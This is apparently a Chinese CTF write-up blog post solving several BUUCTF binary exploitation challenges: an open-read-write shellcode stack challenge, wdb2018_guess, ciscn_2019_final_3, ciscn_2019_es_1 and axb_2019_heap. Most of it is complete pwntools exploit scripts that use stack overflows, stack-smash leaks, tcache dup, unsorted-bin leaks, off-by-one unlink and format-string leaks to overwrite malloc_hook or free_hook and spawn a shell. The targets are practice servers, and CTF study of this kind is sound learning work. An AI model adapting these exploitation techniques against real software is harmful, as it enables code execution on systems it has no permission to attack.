payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')

写到mmap的shellcode为:

orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)

EXP:

from pwn import *

context.arch='amd64'

elf = ELF('./bad')
p = remote('node4.buuoj.cn',25276)


mmap=0x123000
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)

jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)


shellcode=asm(orw_payload)
p.sendline(shellcode)
p.interactive()

wdb2018_guess

gets栈溢出,stack smash泄露,environ泄露栈地址

3个子进程libc地址相同,都有gets栈溢出,canary被破坏后stack smash,打印栈上的libc_argv[0],可将argv[0]指针溢出覆盖,即可泄露任意地址

首先确定溢出偏移,如下图,输入的位置与argv[0]的距离为0xdf28-0xde00=0x128,故溢出的偏移为0x128

image-20230821201503406

然后开始溢出,总共溢出3次

第1次泄露puts地址,获得environ指针在libc的地址

第2次泄露environ指针,获取栈上地址,计算保存flag的buf变量地址

如下图,environ和buf变量偏移为0x7ffc1e02e318-0x7ffc1e02e1b0=0x168

image-20230821203818345

第3次泄露buf变量,获得flag

ciscn_2019_final_3

uaf,tcache dup,unsorted bin leak

uaf漏洞,并且程序将返回堆块的地址打印了出来

可以释放同一堆块两次到tcache bin,申请任意堆块,实现任意地址写,考虑写malloc_hook

需要获取libc地址,考虑用unsorted bin,但是程序只允许申请tcache大小范围内的chunk,考虑用tcache dup实现堆块overlap,改写size

将堆块释放到unsorted bins后,fd指针留在了堆块中,再次tcache dup,将堆块申请到main_arena中,并将其地址打印出来,完成地址泄露

综上,总共需要3次tcache利用

  • 第1次tcache dup,用来进行堆块overlap,改写size
heap_addr = add(0, 0x10, p64(0))
add(1, 0x50, "a")
add(2, 0x40, "a")
add(3, 0x78, "a")
add(4, 0x78, "a")
add(5, 0x78, "a")
add(6, 0x78, "a")
add(7, 0x78, "a")
add(8, 0x78, "a")
add(9, 0x78, "a")
add(10, 0x20, "a")
add(11, 0x10, "a")
print("heap addr ==> " + hex(heap_addr))

delete(7)
delete(7)

add(12, 0x78, p64(heap_addr))
add(13, 0x78, "a")
payload = b"\x00"*0x18 + p64(0x461)
add(14, 0x78, payload)
  • 第2次tcache poison,通过将unsorted bin的fd指针写入到tcache bin中,再次申请tcache bin即可获取main_arena处的堆块
delete(2)
delete(1)
add(15, 0x50, "a")
add(16, 0x40, "a")
bins_addr = add(17, 0x40, b"\x00")
print("bins addr ==> " + hex(bins_addr))
  • 第3次tcache dup,将malloc_hook写入next指针,申请目标堆块,写入one_gadget
delete(10)
delete(10)
add(18, 0x20, p64(malloc_hook_addr))
add(19, 0x20, "a")
add(20, 0x20, p64(one_gadget))

完整EXP:

from pwn import *

#io = process("./ciscn_final_3")
io = remote("node4.buuoj.cn", 28365)
libc = ELF("./libc.so.6")

def add(idx,size,data):
    io.recvuntil('choice > ')
    io.sendline('1')
    io.recvuntil('the index')
    io.sendline(str(idx))
    io.recvuntil('the size')
    io.sendline(str(size))
    io.recvuntil('something')
    io.sendline(data)
    io.recvuntil('gift :')
    return int(io.recvline()[2:],16)

def delete(idx):
    io.recvuntil('choice > ')
    io.sendline('2')
    io.recvuntil('the index')
    io.sendline(str(idx))   

heap_addr = add(0, 0x10, p64(0))
add(1, 0x50, "a")
add(2, 0x40, "a")
add(3, 0x78, "a")
add(4, 0x78, "a")
add(5, 0x78, "a")
add(6, 0x78, "a")
add(7, 0x78, "a")
add(8, 0x78, "a")
add(9, 0x78, "a")
add(10, 0x20, "a")
add(11, 0x10, "a")
print("heap addr ==> " + hex(heap_addr))

delete(7)
delete(7)

add(12, 0x78, p64(heap_addr))
add(13, 0x78, "a")
payload = b"\x00"*0x18 + p64(0x461)
add(14, 0x78, payload)

delete(2)
delete(1)
add(15, 0x50, "a")
add(16, 0x40, "a")
bins_addr = add(17, 0x40, b"\x00")
print("bins addr ==> " + hex(bins_addr))

offset = 0x70
malloc_hook_addr = bins_addr - offset
malloc_hook_offset = libc.symbols["__malloc_hook"]
libc_base = malloc_hook_addr - malloc_hook_offset
one_gadget = libc_base + 0x10a38c
print("one gadget ==> " + hex(one_gadget))

delete(10)
delete(10)
add(18, 0x20, p64(malloc_hook_addr))
add(19, 0x20, "a")
add(20, 0x20, p64(one_gadget))

io.sendline('1')
io.sendline('22')

io.interactive()

ciscn_2019_es_1

uaf,unsorted bin leak,tcache dup

uaf漏洞,可以直接申请大一点的堆块然后释放,打印unsorted bin的fd,泄露libc

然后就是tcache dup啦,改写free_hook,然后free("/bin/sh")

from pwn import *

context.log_level="debug"
sh = process('./ciscn_2019_es_1')
sh=remote('node4.buuoj.cn',25758)

libc = ELF('./libc-2.27.so')

def add(size,name,compary):
	sh.sendlineafter('choice:','1')
	sh.sendlineafter("compary's name",str(int(size)))
	sh.sendafter('input name:',name)
	sh.sendafter('call:',compary)

def show(index):
	sh.sendlineafter('choice:','2')
	sh.sendlineafter('\n',str(index))

def call(index):
	sh.sendlineafter('choice','3')
	sh.sendlineafter('\n',str(index))


add(0x410,'aaaa','0')
add(0x20,'bbbb','1')
add(0x20,'ccc','2')
add(0x20,b'/bin/sh','3')
call(0)

show(0)
libcbase=u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook']
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']

call(1)
call(1)

add(0x28,p64(free_hook),'1')
add(0x28,'dddd','2')
add(0x28,p64(system),'4')

call(3)

sh.interactive()

axb_2019_heap

off-by-one,unlink,格式化字符串泄露程序基址和libc

程序开了PIE,在get_input时堆块可以溢出1字节

如下图,栈上保存有main函数和libc_start_main的地址,通过%11$p%15$p可以把这两个值打出来,获取程序加载基址和libc基址

image-20230823085414373

然后通过off-by-one构造unlink,实现任意地址写,将free_hook写为system

from pwn import *

p = remote("node4.buuoj.cn",28212)
#p = process("./axb_2019_heap")

context.log_level = 'debug'

elf = ELF("./axb_2019_heap")
libc = ELF('./libc64-2.23.so')

def add(idx,size,content):
	p.sendlineafter('>>','1')
	p.sendlineafter('):',str(idx))
	p.sendlineafter('size:',str(size))
	p.sendlineafter('content:',content)
 
def delete(idx):
	p.sendlineafter('>>','2')
	p.sendlineafter('index:',str(idx))
 
def edit(idx,content):
	p.sendlineafter('>>','4')
	p.sendlineafter('index:',str(idx))
	p.sendlineafter('content: \n',content)
 
def show():
	p.sendlineafter('>>','3')

p.recvuntil('name: ')
p.sendline('%11$p%15$p')
p.recvuntil('Hello, ')
base=int(p.recv(14),16)-0x1186
#success("base:"+hex(base))
libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']

bss=base+0x202060
success("bss:"+hex(bss))
add(0,0x98,'aaaa')#0
add(1,0x98,'bbbb')#1
add(2,0x90,'cccc')#2
add(3,0x90,b'/bin/sh\x00')#3
 
#gdb.attach(p)
 
payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+b'\xa0'
edit(0,payload)
#gdb.attach(p)
delete(1)

edit(0,p64(0)*3+p64(free_hook)+p64(0x10))
#gdb.attach(p)

edit(0,p64(system))
#gdb.attach(p)

delete(3)
 
p.interactive()
posted @ 2023-08-23 09:12  z5onk0  阅读(117)  评论(0编辑  收藏  举报